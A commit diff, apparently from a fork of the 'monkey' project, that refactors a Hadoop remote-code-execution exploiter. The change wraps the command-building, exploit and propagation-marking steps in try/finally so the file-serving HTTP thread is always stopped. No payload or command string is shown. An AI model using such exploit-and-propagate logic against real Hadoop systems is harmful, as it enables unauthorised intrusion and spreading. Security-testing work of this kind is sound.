forked from p15670423/monkey
Agent: Stop Hadoop http_thread regardless the exploit result
This commit is contained in:
parent
4d6869fbf6
commit
871b02d514
|
@ -46,14 +46,18 @@ class HadoopExploiter(WebRCE):
|
|||
if not paths:
|
||||
return self.exploit_result
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
|
||||
command = self._build_command(paths["dest_path"], http_path)
|
||||
if not self.exploit(self.vulnerable_urls[0], command):
|
||||
return self.exploit_result
|
||||
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
self.add_executed_cmd(command)
|
||||
self.exploit_result.exploitation_success = True
|
||||
self.exploit_result.propagation_success = True
|
||||
|
||||
try:
|
||||
command = self._build_command(paths["dest_path"], http_path)
|
||||
|
||||
if self.exploit(self.vulnerable_urls[0], command):
|
||||
self.add_executed_cmd(command)
|
||||
self.exploit_result.exploitation_success = True
|
||||
self.exploit_result.propagation_success = True
|
||||
finally:
|
||||
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
|
||||
return self.exploit_result
|
||||
|
||||
def exploit(self, url, command):
|
||||
|
|
Loading…
Reference in New Issue